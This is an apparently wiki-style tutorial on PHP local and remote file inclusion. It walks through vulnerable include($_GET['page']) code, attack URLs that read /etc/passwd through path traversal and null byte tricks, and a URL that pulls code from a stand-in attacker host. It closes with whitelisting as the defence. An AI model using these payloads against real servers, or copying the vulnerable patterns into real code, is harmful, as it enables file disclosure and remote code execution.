Practice
Including files in this context means that an attacker may be able to get the victim's interpreter to load the given file. The file can be loaded from the victim's server or from another host. To do this, the victim needs some insecure code, as shown below.
This will allow an attacker to read any file that the owner of the web server process can read.
<? php include ( $ _GET [ 'page' ] ) ; ?>
http://localhost/index.php?page=/etc/passwd
The attacker can also inject his own file, which will be parsed by the PHP interpreter on http://localhost.
<? php include ( $ _GET [ 'page' ] ) ; ?>
http://localhost/index.php?page=http://attackersHost/inject.txt
or we don't want the remote file to be included
Let's add a check whether the given file exists in the local file system:
<? php
if ( file_exists ( $ _GET [ 'page' ] ) ) {
include ( $ _GET [ 'page' ] ) ;
}
?>
Now the attacker is no longer able to inject a remote file.
But this means you can still type http://localhost/index.php?page=/etc/passwd
The file exists, and voila.
or where relative path traversal comes in
One approach to stopping the reading of our files is to jail the attacker into a specific directory:
<? php
if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ) {
include ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ;
}
?>
Let's assume we are located at /var/www/index.php
The 1st ../ will change the path to /var/
The 2nd ../ will change the path to /
This means you can supply something like http://localhost/index.php?page=../../etc/passwd
/etc/passwd exists, and voila.
Since the attacker doesn't know where the web root is located in the server's file system, he can obtain this information by triggering errors with incorrectly specified parameters.
Or simply guess up to 10 or even more levels.
Read about Full Path Disclosure for more information.
or where the Poison Null Byte comes in
Another approach to stopping the reading of our files is to append .php (or something else) to the end of the given file name:
<? php
if ( file_exists ( $ _GET [ 'page' ] . '.php' ) ) {
include ( $ _GET [ 'page' ] . '.php' ) ;
}
?>
This means that the attacker has to tell the victim's interpreter to stop the string before ".php" is appended.
This can be done as follows: http://localhost/index.php?page=/etc/passwd%00
file_exists() will check for the existence of a file named /etc/passwd%00.php, and correct me if I'm wrong
The file /etc/passwd exists, and voila.
Read Poison Null Byte for more information.
This can be combined with the directory attack to break it
<? php
if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ) {
include ( $ myBasedir . '/' . $ _GET [ 'page' ] . '.php' ) ;
}
?>
by requesting http://localhost/index.php?page=../../etc/passwd%00
We could start filtering out special characters such as "/", "." and "%"
I don't know what will happen if the attacker uses Hex, Unicode, or another encoding.
Or double encoding. There's simply too much to worry about.
In this situation, a whitelist is much safer than any blacklist:
<? php
if ( $ _GET [ 'page' ] == 'news' ) {
include ( 'news.php' ) ;
}
?>
You can also have an array of allowed input values (perhaps generated earlier with an SQL query) and check whether $_GET['page'] is in that array. If true, include the associated file. If false, perform a few small string checks. If you find malicious content (such as "\.%'/) in $_GET['page'], add the attacker's IP address to an IP-based blacklist. Or if you control the server, add its IP address to the firewall. This way, attackers will sooner or later run out of (proxy) IP addresses, and "normal" errors are logged without blacklisting users' IP addresses.
Feel free to modify this text
Comments